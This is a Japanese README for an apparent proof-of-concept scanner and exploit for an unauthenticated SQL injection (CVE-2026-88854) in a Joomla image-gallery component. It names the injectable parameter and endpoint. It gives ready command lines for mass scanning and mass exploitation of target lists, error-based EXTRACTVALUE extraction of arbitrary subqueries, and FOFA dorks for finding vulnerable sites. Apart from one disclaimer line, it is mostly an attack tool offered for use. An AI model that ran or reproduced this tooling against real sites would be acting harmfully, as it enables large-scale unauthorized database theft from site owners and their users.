
Python 3製のPoCスキャナーおよびエクスプロイト。OrdaSoft Joomla Galleryにおける未認証SQLインジェクションCVE-2026-88854に対応し、一括チェックモードとEXTRACTVALUEデータ読み取りモードを備えています。
Joomla用 OrdaSoft OS Responsive Image Gallery における CVE-2026-88854 のPython 3 PoCスキャナ/エクスプロイト。
| コンポーネント | com_osgallery, com_osgallery_light |
| 影響を受けるバージョン | 1.0.0 – 6.2.6 |
| 修正バージョン | 6.2.7+ |
| CVSS 4.0 | 9.3 (Critical) |
| 認証 | 不要 (公開 mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() は textsearch / searchText を $input->getVar() 経由で読み取りますが、これは適切なSQLエスケープを適用しません。値は LIKE 句に連結されます。未認証の訪問者が UNION スタイルのインジェクションを使用してデータベースの内容を読み取ることができます。
典型的なリクエストサーフェス:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
レガシーインストールではタスク名 searhResult (タイポ) が使用されている可能性があります。
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| ファイル | 内容 |
|---|---|
cve_2026_88854_results.jsonl | ターゲットごとのJSON |
hits.txt | 候補URL (exploitable_candidate) |
status 値 (check)audit_scan.py)マス check の後、audit_scan.py を実行して管理者マニフェストを再取得し、ターゲットを分類します:
ギャラリーバージョンは、Joomlaの extension version= 属性ではなく、administrator/components/com_osgallery/osgallery.xml の <version> 要素から読み取られます。
EXTRACTVALUE を使用します; MariaDB/Postgres、エラーの無効化、またはWAFは、CVEが該当する場合でも リークなし となる可能性があります。https://host/site) が必要です。app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
ローカルのターゲットリストと実行成果物 (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) は .gitignore に含まれており、コミットすべきではありません。
許可されたセキュリティテスト のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。
| オプション | 説明 |
|---|
-u, --url | 単一ターゲットのベースURL (サブディレクトリインストール: パスを含める) |
--list | ターゲットリストファイル (1行に1つのURL) |
--mode | check または exploit |
--subquery | EXTRACTVALUE 内のSQL (exploitモード、デフォルト SELECT VERSION()) |
--threads, -j | マススキャンの並列度 (デフォルト 20) |
--timeout | HTTPタイムアウト秒 (デフォルト 20) |
--proxy | HTTP(S)プロキシURL |
--output | JSONL結果 (デフォルト cve_2026_88854_results.jsonl) |
--vuln-list | check → hits.txt; exploit → exploited.txt |
--quiet, -q | 進捗出力を減らす |
| ステータス | 意味 |
|---|
sqli_confirmed | エラー/時間ベースのSQLi、または検証済みの EXTRACTVALUE リーク |
likely_vulnerable_version | マニフェストバージョン ≤ 6.2.6 + 検索エンドポイント |
likely_component | ギャラリーを検出、バージョン不明 |
boolean_inconclusive | レスポンス長の差分のみ (多くの場合WAF); 確認済みとしてカウントされない |
patched_version | マニフェストバージョン > 6.2.6 |
component_no_search_endpoint | コンポーネントは存在するが、検索タスクに到達できない |
no_component | com_osgallery が検出されない |
| ファイル | 内容 |
|---|
hits_version_lte_626.txt | マニフェストのギャラリーバージョン ≤ 6.2.6 |
hits_component_endpoint.txt | ギャラリー + エンドポイント、バージョンが読み取れない |
hits_patched.txt | マニフェスト > 6.2.6 |
fofa_stale.txt | コンポーネントなし (古いFOFA行) |
cve_2026_88854_audit.jsonl | 拡充されたJSONL |